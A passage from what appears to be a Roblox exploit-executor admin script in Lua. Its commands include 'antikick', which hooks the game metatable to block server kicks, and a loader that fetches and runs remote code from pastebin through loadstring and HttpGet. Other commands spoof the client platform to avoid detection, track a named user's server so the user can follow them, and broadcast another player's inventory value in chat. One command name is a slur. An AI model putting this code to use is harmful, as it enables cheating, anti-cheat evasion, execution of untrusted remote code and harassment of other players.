11727 PPlaces[#PPlaces+1] = {GUID = v.Guid}
11728 else
11729 opx("-","Server is full, or does not exist; Skipping...")
11730 end
11731 end
11732 end
11733 opx("-","All places finalized, randomizing...")
11734 game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,PPlaces[1].GUID,cmdlp)
11735 else
11736 opx("*","Not a valid preset!")
11737 end
11738end
11739
11740function useCommand.streamsnipe()
11741 if arguments[3] then
11742 opx("-","Scanning games, this may take a while...")
11743 local res = game:HttpGet("https://www.roblox.com/headshot-thumbnail/json?userId="..arguments[2].."&width=48&height=48")
11744 local HttpURL = json.decode(res)
11745 local ThumbGrab = HttpURL["Url"]
11746 local Thumb = ThumbGrab
11747 local URL2 = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..arguments[3].."&startindex=")
11748 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL2.."0"))
11749 for i = 0,Http.TotalCollectionSize do
11750 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL2..i))
11751 for x,n in pairs(Http.Collection) do
11752 for _,v in pairs(n.CurrentPlayers) do
11753 if v.Thumbnail.Url == Thumb then
11754 opx("-","Possible server, Guid: "..n.Guid)
11755 GUID = n.Guid
11756 end
11757 end
11758 end
11759 end
11760 opx("-","Found user! Teleporting...")
11761 game:GetService("TeleportService"):TeleportToPlaceInstance(arguments[3],GUID,cmdlp)
11762 else
11763 opx("*","3 arguments are needed!")
11764 end
11765end
11766
11767-- freecam by roblox ty roblox lol
11768pi = math.pi
11769abs = math.abs
11770clamp = math.clamp
11771exp = math.exp
11772rad = math.rad
11773sign = math.sign
11774sqrt = math.sqrt
11775tan = math.tan
11776
11777ContextActionService = game:GetService("ContextActionService")
11778Players = cmdp
11779RunService = game:GetService("RunService")
11780StarterGui = game:GetService("StarterGui")
11781UserInputService = game:GetService("UserInputService")
11782Workspace = workspace
11783
11784LocalPlayer = cmdlp
11785if not LocalPlayer then
11786 Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
11787 LocalPlayer = cmdlp
11788end
11789
11790Camera = Workspace.CurrentCamera
11791Workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
11792 local newCamera = Workspace.CurrentCamera
11793 if newCamera then
11794 Camera = newCamera
11795 end
11796end)
11797
11798TOGGLE_INPUT_PRIORITY = Enum.ContextActionPriority.Low.Value
11799INPUT_PRIORITY = Enum.ContextActionPriority.High.Value
11800FREECAM_MACRO_KB = {Enum.KeyCode.LeftShift, Enum.KeyCode.P}
11801
11802NAV_GAIN = Vector3.new(1, 1, 1)*64
11803PAN_GAIN = Vector2.new(0.75, 1)*8
11804FOV_GAIN = 300
11805
11806PITCH_LIMIT = rad(90)
11807
11808VEL_STIFFNESS = 1.5
11809PAN_STIFFNESS = 1.0
11810FOV_STIFFNESS = 4.0
11811
11812Spring = {} do
11813 Spring.__index = Spring
11814
11815 function Spring.new(freq, pos)
11816 local self = setmetatable({}, Spring)
11817 self.f = freq
11818 self.p = pos
11819 self.v = pos*0
11820 return self
11821 end
11822
11823 function Spring:Update(dt, goal)
11824 local f = self.f*2*pi
11825 local p0 = self.p
11826 local v0 = self.v
11827
11828 local offset = goal - p0
11829 local decay = exp(-f*dt)
11830
11831 local p1 = goal + (v0*dt - offset*(f*dt + 1))*decay
11832 local v1 = (f*dt*(offset*f - v0) + v0)*decay
11833
11834 self.p = p1
11835 self.v = v1
11836
11837 return p1
11838 end
11839
11840 function Spring:Reset(pos)
11841 self.p = pos
11842 self.v = pos*0
11843 end
11844end
11845
11846cameraPos = Vector3.new()
11847cameraRot = Vector2.new()
11848cameraFov = 0
11849
11850velSpring = Spring.new(VEL_STIFFNESS, Vector3.new())
11851panSpring = Spring.new(PAN_STIFFNESS, Vector2.new())
11852fovSpring = Spring.new(FOV_STIFFNESS, 0)
11853
11854Input = {} do
11855 local thumbstickCurve do
11856 K_CURVATURE = 2.0
11857 K_DEADZONE = 0.15
11858
11859 function fCurve(x)
11860 return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1)
11861 end
11862
11863 function fDeadzone(x)
11864 return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE))
11865 end
11866
11867 function thumbstickCurve(x)
11868 return sign(x)*clamp(fDeadzone(abs(x)), 0, 1)
11869 end
11870 end
11871
11872 gamepad = {
11873 ButtonX = 0,
11874 ButtonY = 0,
11875 DPadDown = 0,
11876 DPadUp = 0,
11877 ButtonL2 = 0,
11878 ButtonR2 = 0,
11879 Thumbstick1 = Vector2.new(),
11880 Thumbstick2 = Vector2.new(),
11881 }
11882
11883 keyboard = {
11884 W = 0,
11885 A = 0,
11886 S = 0,
11887 D = 0,
11888 E = 0,
11889 Q = 0,
11890 U = 0,
11891 H = 0,
11892 J = 0,
11893 K = 0,
11894 I = 0,
11895 Y = 0,
11896 Up = 0,
11897 Down = 0,
11898 LeftShift = 0,
11899 RightShift = 0,
11900 }
11901
11902 mouse = {
11903 Delta = Vector2.new(),
11904 MouseWheel = 0,
11905 }
11906
11907 NAV_GAMEPAD_SPEED = Vector3.new(1, 1, 1)
11908 NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
11909 PAN_MOUSE_SPEED = Vector2.new(1, 1)*(pi/64)
11910 PAN_GAMEPAD_SPEED = Vector2.new(1, 1)*(pi/8)
11911 FOV_WHEEL_SPEED = 1.0
11912 FOV_GAMEPAD_SPEED = 0.25
11913 NAV_ADJ_SPEED = 0.75
11914 NAV_SHIFT_MUL = 0.25
11915
11916 navSpeed = 1
11917
11918 function Input.Vel(dt)
11919 navSpeed = clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)
11920
11921 kGamepad = Vector3.new(
11922 thumbstickCurve(gamepad.Thumbstick1.x),
11923 thumbstickCurve(gamepad.ButtonR2) - thumbstickCurve(gamepad.ButtonL2),
11924 thumbstickCurve(-gamepad.Thumbstick1.y)
11925 )*NAV_GAMEPAD_SPEED
11926
11927 kKeyboard = Vector3.new(
11928 keyboard.D - keyboard.A + keyboard.K - keyboard.H,
11929 keyboard.E - keyboard.Q + keyboard.I - keyboard.Y,
11930 keyboard.S - keyboard.W + keyboard.J - keyboard.U
11931 )*NAV_KEYBOARD_SPEED
11932
11933 shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or UserInputService:IsKeyDown(Enum.KeyCode.RightShift)
11934
11935 return (kGamepad + kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1))
11936 end
11937
11938 function Input.Pan(dt)
11939 kGamepad = Vector2.new(
11940 thumbstickCurve(gamepad.Thumbstick2.y),
11941 thumbstickCurve(-gamepad.Thumbstick2.x)
11942 )*PAN_GAMEPAD_SPEED
11943 kMouse = mouse.Delta*PAN_MOUSE_SPEED
11944 mouse.Delta = Vector2.new()
11945 return kGamepad + kMouse
11946 end
11947
11948 function Input.Fov(dt)
11949 kGamepad = (gamepad.ButtonX - gamepad.ButtonY)*FOV_GAMEPAD_SPEED
11950 kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED
11951 mouse.MouseWheel = 0
11952 return kGamepad + kMouse
11953 end
11954
11955 do
11956 function Keypress(action, state, input)
11957 keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
11958 return Enum.ContextActionResult.Sink
11959 end
11960
11961 function GpButton(action, state, input)
11962 gamepad[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
11963 return Enum.ContextActionResult.Sink
11964 end
11965
11966 function MousePan(action, state, input)
11967 delta = input.Delta
11968 mouse.Delta = Vector2.new(-delta.y, -delta.x)
11969 return Enum.ContextActionResult.Sink
11970 end
11971
11972 function Thumb(action, state, input)
11973 gamepad[input.KeyCode.Name] = input.Position
11974 return Enum.ContextActionResult.Sink
11975 end
11976
11977 function Trigger(action, state, input)
11978 gamepad[input.KeyCode.Name] = input.Position.z
11979 return Enum.ContextActionResult.Sink
11980 end
11981
11982 function MouseWheel(action, state, input)
11983 mouse[input.UserInputType.Name] = -input.Position.z
11984 return Enum.ContextActionResult.Sink
11985 end
11986
11987 function Zero(t)
11988 for k, v in pairs(t) do
11989 t[k] = v*0
11990 end
11991 end
11992
11993 function Input.StartCapture()
11994 ContextActionService:BindActionAtPriority("FreecamKeyboard", Keypress, false, INPUT_PRIORITY,
11995 Enum.KeyCode.W, Enum.KeyCode.U,
11996 Enum.KeyCode.A, Enum.KeyCode.H,
11997 Enum.KeyCode.S, Enum.KeyCode.J,
11998 Enum.KeyCode.D, Enum.KeyCode.K,
11999 Enum.KeyCode.E, Enum.KeyCode.I,
12000 Enum.KeyCode.Q, Enum.KeyCode.Y,
12001 Enum.KeyCode.Up, Enum.KeyCode.Down
12002 )
12003 ContextActionService:BindActionAtPriority("FreecamMousePan", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement)
12004 ContextActionService:BindActionAtPriority("FreecamMouseWheel", MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel)
12005 ContextActionService:BindActionAtPriority("FreecamGamepadButton", GpButton, false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY)
12006 ContextActionService:BindActionAtPriority("FreecamGamepadTrigger", Trigger, false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2)
12007 ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick", Thumb, false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2)
12008 end
12009
12010 function Input.StopCapture()
12011 navSpeed = 1
12012 Zero(gamepad)
12013 Zero(keyboard)
12014 Zero(mouse)
12015 ContextActionService:UnbindAction("FreecamKeyboard")
12016 ContextActionService:UnbindAction("FreecamMousePan")
12017 ContextActionService:UnbindAction("FreecamMouseWheel")
12018 ContextActionService:UnbindAction("FreecamGamepadButton")
12019 ContextActionService:UnbindAction("FreecamGamepadTrigger")
12020 ContextActionService:UnbindAction("FreecamGamepadThumbstick")
12021 end
12022 end
12023end
12024
12025function GetFocusDistance(cameraFrame)
12026 local znear = 0.1
12027 local viewport = Camera.ViewportSize
12028 local projy = 2*tan(cameraFov/2)
12029 local projx = viewport.x/viewport.y*projy
12030 local fx = cameraFrame.rightVector
12031 local fy = cameraFrame.upVector
12032 local fz = cameraFrame.lookVector
12033
12034 local minVect = Vector3.new()
12035 local minDist = 512
12036
12037 for x = 0, 1, 0.5 do
12038 for y = 0, 1, 0.5 do
12039 local cx = (x - 0.5)*projx
12040 local cy = (y - 0.5)*projy
12041 local offset = fx*cx - fy*cy + fz
12042 local origin = cameraFrame.p + offset*znear
12043 local _, hit = Workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
12044 local dist = (hit - origin).magnitude
12045 if minDist > dist then
12046 minDist = dist
12047 minVect = offset.unit
12048 end
12049 end
12050 end
12051
12052 return fz:Dot(minVect)*minDist
12053end
12054
12055local function StepFreecam(dt)
12056 local vel = velSpring:Update(dt, Input.Vel(dt))
12057 local pan = panSpring:Update(dt, Input.Pan(dt))
12058 local fov = fovSpring:Update(dt, Input.Fov(dt))
12059
12060 local zoomFactor = sqrt(tan(rad(70/2))/tan(rad(cameraFov/2)))
12061
12062 cameraFov = clamp(cameraFov + fov*FOV_GAIN*(dt/zoomFactor), 1, 120)
12063 cameraRot = cameraRot + pan*PAN_GAIN*(dt/zoomFactor)
12064 cameraRot = Vector2.new(clamp(cameraRot.x, -PITCH_LIMIT, PITCH_LIMIT), cameraRot.y%(2*pi))
12065
12066 local cameraCFrame = CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y, 0)*CFrame.new(vel*NAV_GAIN*dt)
12067 cameraPos = cameraCFrame.p
12068
12069 Camera.CFrame = cameraCFrame
12070 Camera.Focus = cameraCFrame*CFrame.new(0, 0, -GetFocusDistance(cameraCFrame))
12071 Camera.FieldOfView = cameraFov
12072end
12073
12074local PlayerState = {} do
12075 mouseBehavior = ""
12076 mouseIconEnabled = ""
12077 cameraType = ""
12078 cameraFocus = ""
12079 cameraCFrame = ""
12080 cameraFieldOfView = ""
12081 screenGuis = {}
12082
12083 function PlayerState.Push()
12084 cameraFieldOfView = Camera.FieldOfView
12085 Camera.FieldOfView = 70
12086
12087 cameraType = Camera.CameraType
12088 Camera.CameraType = Enum.CameraType.Custom
12089
12090 cameraCFrame = Camera.CFrame
12091 cameraFocus = Camera.Focus
12092
12093 mouseIconEnabled = UserInputService.MouseIconEnabled
12094 UserInputService.MouseIconEnabled = true
12095
12096 mouseBehavior = UserInputService.MouseBehavior
12097 UserInputService.MouseBehavior = Enum.MouseBehavior.Default
12098 end
12099
12100 function PlayerState.Pop()
12101 Camera.FieldOfView = 70
12102
12103 Camera.CameraType = cameraType
12104 cameraType = nil
12105
12106 Camera.CFrame = cameraCFrame
12107 cameraCFrame = nil
12108
12109 Camera.Focus = cameraFocus
12110 cameraFocus = nil
12111
12112 UserInputService.MouseIconEnabled = mouseIconEnabled
12113 mouseIconEnabled = nil
12114
12115 UserInputService.MouseBehavior = mouseBehavior
12116 mouseBehavior = nil
12117 end
12118end
12119
12120function StartFreecam()
12121 local cameraCFrame = Camera.CFrame
12122 cameraRot = Vector2.new(cameraCFrame:toEulerAnglesYXZ())
12123 cameraPos = cameraCFrame.p
12124 cameraFov = Camera.FieldOfView
12125
12126 velSpring:Reset(Vector3.new())
12127 panSpring:Reset(Vector2.new())
12128 fovSpring:Reset(0)
12129
12130 PlayerState.Push()
12131 RunService:BindToRenderStep("Freecam", Enum.RenderPriority.Camera.Value, StepFreecam)
12132 Input.StartCapture()
12133end
12134
12135function StopFreecam()
12136 Input.StopCapture()
12137 RunService:UnbindFromRenderStep("Freecam")
12138 PlayerState.Pop()
12139 workspace.Camera.FieldOfView = 70
12140end
12141
12142function useCommand.freecam()
12143 opx("-","Activated freecam")
12144 StartFreecam()
12145 wait(.1)
12146 navSpeed = permfcspeed
12147 NAV_KEYBOARD_SPEED = Vector3.new(permfcspeed, permfcspeed, permfcspeed)
12148end
12149
12150function useCommand.freecamspeed()
12151 if cmdnum(arguments[2]) then
12152 opx("-","Freecam speed set to "..arguments[2])
12153 navSpeed = arguments[2]
12154 NAV_KEYBOARD_SPEED = Vector3.new(arguments[2], arguments[2], arguments[2])
12155 else
12156 opx("*","2 arguments are required!")
12157 end
12158end
12159
12160function useCommand.permfreecamspeed()
12161 if cmdnum(arguments[2]) then
12162 opx("-","Set perm free cam speed")
12163 permfcspeed = arguments[2]
12164 updatesaves()
12165 else
12166 opx("*","2 arguments are required!")
12167 end
12168end
12169
12170function useCommand.unfreecam()
12171 opx("-","De-Activated freecam")
12172 StopFreecam()
12173 wait(1)
12174 workspace.Camera.FieldOfView = 70
12175end
12176
12177function useCommand.friendjoin()
12178 if arguments[2] then
12179 opx("-","Scanning friends, this may take some time")
12180 local target = arguments[2]
12181 local friends = cmdlp:GetFriendsOnline(200)
12182 for i,v in pairs(friends) do
12183 if v.UserName == target then
12184 if v.LastLocation then
12185 opx("-","Joining friend")
12186 game:GetService("TeleportService"):TeleportToPlaceInstance(v.PlaceId,v.GameId,cmdlp)
12187 else
12188 opx("*","Friend isnt in a game!")
12189 end
12190 break
12191 end
12192 end
12193 opx("*","Friend dosent exist!")
12194 else
12195 opx("*","2 arguments are required!")
12196 end
12197end
12198
12199function useCommand.hotkeynoclip()
12200 if arguments[2] then
12201 hotkeynoclip = arguments[2]
12202 updatesaves()
12203 opx("-","Added key to noclip")
12204 else
12205 opx("*","2 arguments are required!")
12206 end
12207end
12208
12209function useCommand.spoofos()
12210 if arguments[2] then
12211 opx("-","Spoofed OS to "..getstring(2))
12212 cmdlp.OsPlatform = getstring(2)
12213 else
12214 opx("*","2 arguments are required!")
12215 end
12216end
12217
12218function useCommand.noshow()
12219 if arguments[2] == "on" then
12220 opx("-","No-Show is now on")
12221 sDetect = false
12222 cmdlp.SimulationRadius = 0
12223 cmdlp.MaximumSimulationRadius = 0
12224 cmdlp.OsPlatform = "Win32"
12225 updatesaves()
12226 elseif arguments[2] == "off" then
12227 opx("-","No-Show is now off")
12228 sDetect = true
12229 cmdlp.SimulationRadius = 139
12230 cmdlp.MaximumSimulationRadius = 139
12231 cmdlp.OsPlatform = "CMD-X"
12232 updatesaves()
12233 else
12234 opx("*","A valid preset is needed!")
12235 end
12236end
12237
12238function useCommand.servers()
12239 local URL = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex=")
12240 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL.."0"))
12241 opx("-","Searching places, this may take a while...")
12242 local xServers = Http.TotalCollectionSize.." | "
12243 for i = 0,Http.TotalCollectionSize do
12244 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..i))
12245 for i,v in pairs(Http.Collection) do
12246 MathPC = v.PlayersCapacity:split(" ")
12247 opx("-","Possible server, Guid: "..v.Guid)
12248 xServers = xServers..v.PlayersCapacity..", "
12249 end
12250 end
12251 opx("-","Listed all servers")
12252 opxL("Servers",xServers)
12253end
12254
12255function useCommand.antikick()
12256 opx("-","Anti-Kick enabled")
12257 local meta = debug.getmetatable(game)
12258 local newindex = meta.__newindex
12259 local namecall = meta.__namecall
12260 setreadonly(meta,false)
12261 meta.__namecall = newcclosure(function(self,...)
12262 local args = {...}
12263 local t = getnamecallmethod()
12264 if t == "Kick" then
12265 return wait(9e9)
12266 end
12267 return namecall(self,...)
12268 end)
12269end
12270
12271function useCommand.sentinelexplorer()
12272 opx("-","Loading SENTINEL DEX")
12273 loadstring(game:HttpGet("https://pastebin.com/raw/v1pL8YzY", true))()
12274 opx("-","Loaded SENTINEL DEX")
12275end
12276
12277Pxrts = {}
12278function useCommand.truesight()
12279 opx("-","Truesight is now on")
12280 for i,v in pairs(workspace:GetDescendants()) do
12281 if v:IsA("BasePart") and v.Transparency == 1 then
12282 v.Transparency = 0
12283 Pxrts[#Pxrts+1] = v
12284 end
12285 end
12286end
12287
12288function useCommand.untruesight()
12289 opx("-","Truesight is now off")
12290 for i,v in pairs(Pxrts) do
12291 v.Transparency = 1
12292 end
12293end
12294
12295local PDisabled = {}
12296function useCommand.disableplayer()
12297 if arguments[2] then
12298 local target = findplr(arguments[2])
12299 if target then
12300 opx("-","Disabled "..target.Name)
12301 PDisabled[#PDisabled+1] = target
12302 local UserNum = #PDisabled
12303 for i,v in pairs(target.Character:GetDescendants()) do
12304 if v:IsA("BasePart") then
12305 v.Transparency = 1
12306 end
12307 end
12308 target.CharacterAdded:Connect(function(Character)
12309 if PDisabled[UserNum] ~= nil then
12310 for i,v in pairs(Character:GetDescendants()) do
12311 if v:IsA("BasePart") then
12312 v.Transparency = 1
12313 end
12314 end
12315 end
12316 end)
12317 else
12318 opx("*","Player does not exist!")
12319 end
12320 else
12321 opx("*","2 arguments are required!")
12322 end
12323end
12324
12325function useCommand.enableplayer()
12326 if arguments[2] then
12327 local target = findplr(arguments[2])
12328 if target then
12329 opx("-","Enabled "..target.Name)
12330 for i,v in pairs(target.Character:GetDescendants()) do
12331 if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
12332 v.Transparency = 0
12333 end
12334 end
12335 for i,v in pairs(PDisabled) do
12336 if target == PDisabled[i] then
12337 table.remove(PDisabled,i)
12338 end
12339 end
12340 else
12341 opx("*","Player does not exist!")
12342 end
12343 else
12344 opx("*","2 arguments are required!")
12345 end
12346end
12347
12348function useCommand.gotopart()
12349 if arguments[2] then
12350 for i,v in pairs(workspace:GetDescendants()) do
12351 if v.Name == getstring(2) then
12352 opx("-","Teleported to part")
12353 cmdlp.Character.Humanoid.Jump = true
12354 cmdlp.Character.HumanoidRootPart.CFrame = v.CFrame
12355 break
12356 else
12357 opx("*","Part does not exist")
12358 end
12359 end
12360 else
12361 opx("*","2 arguments are required!")
12362 end
12363end
12364
12365function useCommand.clientbringpart()
12366 if arguments[2] then
12367 for i,v in pairs(workspace:GetDescendants()) do
12368 if v.Name == getstring(2) then
12369 opx("-","Brought part")
12370 v.CFrame = cmdlp.Character.HumanoidRootPart.CFrame
12371 break
12372 else
12373 opx("*","Part does not exist")
12374 end
12375 end
12376 else
12377 opx("*","2 arguments are required!")
12378 end
12379end
12380
12381function useCommand.clientdeletepart()
12382 if arguments[2] then
12383 for i,v in pairs(workspace:GetDescendants()) do
12384 if v.Name == getstring(2) then
12385 opx("-","Deleted part")
12386 v:Destroy()
12387 break
12388 else
12389 opx("*","Part does not exist")
12390 end
12391 end
12392 else
12393 opx("*","2 arguments are required!")
12394 end
12395end
12396
12397function useCommand.copyoutput()
12398 if cmdnum(arguments[3]) then
12399 local start = arguments[2]
12400 local breaker = arguments[3]
12401 setclipboard(output1.Text:sub(start,breaker))
12402 opx("-","Copied latest output")
12403 else
12404 setclipboard(output1.Text)
12405 opx("-","Copied latest output")
12406 end
12407end
12408
12409function useCommand.copypath()
12410 if arguments[2] then
12411 for i,v in pairs(workspace:GetDescendants()) do
12412 if v.Name == getstring(2) then
12413 opx("-","Copied path of part")
12414 setclipboard(v:GetFullName())
12415 break
12416 else
12417 opx("*","Part does not exist")
12418 end
12419 end
12420 else
12421 opx("*","2 arguments are required!")
12422 end
12423end
12424
12425function useCommand.outputbind()
12426 if arguments[2] == "chat" then
12427 ChatBind = true
12428 updatesaves()
12429 opx("-","Output switched to chat")
12430 elseif arguments[2] == "default" then
12431 ChatBind = false
12432 updatesaves()
12433 opx("-","Output switched to default")
12434 else
12435 opx("*","2 arguments are required!")
12436 end
12437end
12438
12439function useCommand.clearwaves()
12440 opx("-","Made all waves clear")
12441 workspace.Terrain.WaterReflectance = 0
12442 workspace.Terrain.WaterTransparency = 1
12443 workspace.Terrain.WaterColor = Color3.fromRGB(255,255,255)
12444end
12445
12446function useCommand.calmwaves()
12447 opx("-","Made all waves calm")
12448 workspace.Terrain.WaterWaveSize = 0
12449 workspace.Terrain.WaterWaveSpeed = 10
12450end
12451
12452function useCommand.fov()
12453 if cmdnum(arguments[2]) then
12454 workspace.Camera.FieldOfView = arguments[2]
12455 opx("-","Set field of view to "..arguments[2])
12456 else
12457 opx("*","2 arguments are required!")
12458 end
12459end
12460
12461function useCommand.volume()
12462 if cmdnum(arguments[2]) then
12463 opx("-","System Volume is now "..arguments[2])
12464 UserSettings():GetService("UserGameSettings").MasterVolume = arguments[2]
12465 else
12466 opx("*","2 arguments are required!")
12467 end
12468end
12469
12470function useCommand.graphics()
12471 if cmdnum(arguments[2]) then
12472 opx("-","System Graphics is now "..arguments[2])
12473 settings().Rendering.QualityLevel = arguments[2]
12474 else
12475 opx("*","2 arguments are required!")
12476 end
12477end
12478
12479function useCommand.mousesensitivity()
12480 if cmdnum(arguments[2]) then
12481 opx("-","Changed mouse sensitivity to "..arguments[2])
12482 game:GetService("UserInputService").MouseDeltaSensitivity = arguments[2]
12483 else
12484 opx("*","2 arguments are required!")
12485 end
12486end
12487
12488function useCommand.animspeed()
12489 if arguments[2] then
12490 opx("-","Sped up animations")
12491 for i,v in pairs(cmdlp.Character.Humanoid:GetPlayingAnimationTracks()) do
12492 v:AdjustSpeed(arguments[2])
12493 end
12494 else
12495 opx("-","2 arguments are required!")
12496 end
12497end
12498
12499function useCommand.noprompt()
12500 local PromptHandler = game:GetService("CoreGui").PurchasePromptApp.PurchasePromptUI
12501 NoPrompt = true
12502 opx("-","No prompt enabled")
12503 PromptHandler.ChildAdded:Connect(function(AnnoyingRobuxGrabPromptHere)
12504 if NoPrompt == true then
12505 AnnoyingRobuxGrabPromptHere:Destroy()
12506 end
12507 end)
12508end
12509
12510function useCommand.yesprompt()
12511 opx("-","No prompt disabled")
12512 NoPrompt = false
12513end
12514
12515function useCommand.rappu()
12516 if arguments[2] then
12517 local target = findplr(arguments[2])
12518 if target then
12519 local URL = ("https://inventory.roblox.com/v1/users/"..target.UserId.."/assets/collectibles?sortOrder=Asc&limit=100")
12520 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL))
12521 local RAP = 0
12522 function ListItems(Look)
12523 for i,v in pairs(Look.data) do
12524 if v.recentAveragePrice ~= nil then
12525 RAP = RAP+v.recentAveragePrice
12526 end
12527 end
12528 end
12529 ListItems(Http)
12530 Pages = 1
12531 for i = 1,500 do
12532 if Http.nextPageCursor ~= null then
12533 Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL.."&cursor="..Http.nextPageCursor))
12534 ListItems(Http)
12535 Pages = Pages+1
12536 else
12537 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." has "..RAP.."RAP, "..Pages.."pgs checked","All")
12538 opx("-",target.Name.." has "..RAP.."RAP, "..Pages.."pgs checked")
12539 break
12540 end
12541 end
12542 else
12543 opx("*","Player does not exist!")
12544 end
12545 else
12546 opx("*","2 arguments are required!")
12547 end
12548end
12549
12550function useCommand.rappr()
12551 if arguments[2] then
12552 local target = findplr(arguments[2])
12553 if target then
12554 local URL = ("https://inventory.roblox.com/v1/users/"..target.UserId.."/assets/collectibles?sortOrder=Asc&limit=100")
12555 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL))
12556 local RAP = 0
12557 function ListItems(Look)
12558 for i,v in pairs(Look.data) do
12559 if v.recentAveragePrice ~= nil then
12560 RAP = RAP+v.recentAveragePrice
12561 end
12562 end
12563 end
12564 ListItems(Http)
12565 Pages = 1
12566 for i = 1,500 do
12567 if Http.nextPageCursor ~= null then
12568 Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL.."&cursor="..Http.nextPageCursor))
12569 ListItems(Http)
12570 Pages = Pages+1
12571 else
12572 opx("-",target.Name.." has "..RAP.."RAP, "..Pages.."pgs checked")
12573 break
12574 end
12575 end
12576 else
12577 opx("*","Player does not exist!")
12578 end
12579 else
12580 opx("*","2 arguments are required!")
12581 end
12582end
12583
12584PGUI = {}
12585function useCommand.noguis()
12586 opx("-","No guis enabled")
12587 for i,v in pairs(cmdlp.PlayerGui:GetDescendants()) do
12588 if v:IsA("Frame") and v.Visible == true then
12589 v.Visible = false
12590 PGUI[#PGUI+1] = v
12591 end
12592 end
12593end
12594
12595function useCommand.yesguis()
12596 opx("-","No guis disabled")
12597 for i,v in pairs(PGUI) do
12598 v.Visible = true
12599 end
12600end
12601
12602GTS = {}
12603function useCommand.guitruesight()
12604 opx("-","Gui truesight enabled")
12605 for i,v in pairs(cmdlp.PlayerGui:GetDescendants()) do
12606 if v:IsA("Frame") and v.Visible == false then
12607 v.Visible = true
12608 GTS[#GTS+1] = v
12609 end
12610 end
12611end
12612
12613function useCommand.unguitruesight()
12614 opx("-","Gui truesight disabled")
12615 for i,v in pairs(GTS) do
12616 v.Visible = false
12617 end
12618end
12619
12620BGs = {}
12621function useCommand.nobillboardguis()
12622 opx("-","Turned off all billboardguis")
12623 YesBgs = true
12624 for i,v in pairs(workspace:GetDescendants()) do
12625 if v:IsA("BillboardGui") or v:IsA("SurfaceGui") then
12626 v.Enabled = false
12627 BGs[#BGs+1] = v
12628 end
12629 end
12630end
12631
12632function useCommand.yesbillboardguis()
12633 opx("-","Turned on all billboardguis")
12634 for i,v in pairs(BGs) do
12635 v.Enabled = true
12636 end
12637end
12638
12639function useCommand.grippos()
12640 if cmdnum(arguments[4]) then
12641 local tool = cmdlp.Character:FindFirstChildOfClass("Tool")
12642 tool.Parent = cmdlp.Backpack
12643 tool.GripPos = Vector3.new(arguments[2],arguments[3],arguments[4])
12644 tool.Parent = cmdlp.Character
12645 opx("-","Set GripPos")
12646 else
12647 opx("*","2 arguments are required!")
12648 end
12649end
12650
12651SWs = false
12652function useCommand.shiftwalkspeed()
12653 if cmdnum(arguments[2]) then
12654 opx("-","Shift walkspeed enabled")
12655 SWs = true
12656 cmduis.InputBegan:Connect(function(input)
12657 if SWs == true and cmduis:IsKeyDown(Enum.KeyCode.LeftShift) then
12658 cmdlp.Character.Humanoid.WalkSpeed = arguments[2]
12659 end
12660 end)
12661 cmdm.KeyUp:connect(function(key)
12662 if SWs == true and key == "0" then
12663 cmdlp.Character.Humanoid.WalkSpeed = 16
12664 end
12665 end)
12666 else
12667 opx("-","Shift walkspeed enabled")
12668 SWs = true
12669 cmduis.InputBegan:Connect(function(input)
12670 if SWs == true and cmduis:IsKeyDown(Enum.KeyCode.LeftShift) then
12671 cmdlp.Character.Humanoid.WalkSpeed = permwalkspeed
12672 end
12673 end)
12674 cmdm.KeyUp:connect(function(key)
12675 if SWs == true and key == "0" then
12676 cmdlp.Character.Humanoid.WalkSpeed = 16
12677 end
12678 end)
12679 end
12680end
12681
12682function useCommand.unshiftwalkspeed()
12683 opx("-","Shift walkspeed disabled")
12684 SWs = false
12685 cmdlp.Character.Humanoid.WalkSpeed = 16
12686end
12687
12688function useCommand.noresult()
12689 output1.Text = output2.Text
12690 output2.Text = output3.Text
12691 output3.Text = output4.Text
12692 output4.Text = output5.Text
12693 output5.Text = output6.Text
12694 output6.Text = output7.Text
12695 output7.Text = output8.Text
12696 output8.Text = output9.Text
12697end
12698local bAe = Instance.new("Animation")
12699bAe.AnimationId = "rbxassetid://259438880"
12700local cAe = Instance.new("Animation")
12701cAe.AnimationId = "rbxassetid://181526230"
12702local dAe = Instance.new("Animation")
12703dAe.AnimationId = "rbxassetid://33796059"
12704function useCommand.retard()
12705 if arguments[2] == "1" then
12706 if btAe then btAe:Stop() end
12707 if ctAe then ctAe:Stop() end
12708 if dtAe then dtAe:Stop() end
12709 btAe = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(bAe)
12710 btAe:Play(.1, 1, 1e3)
12711 elseif arguments[2] == "2" then
12712 if btAe then btAe:Stop() end
12713 if ctAe then ctAe:Stop() end
12714 if dtAe then dtAe:Stop() end
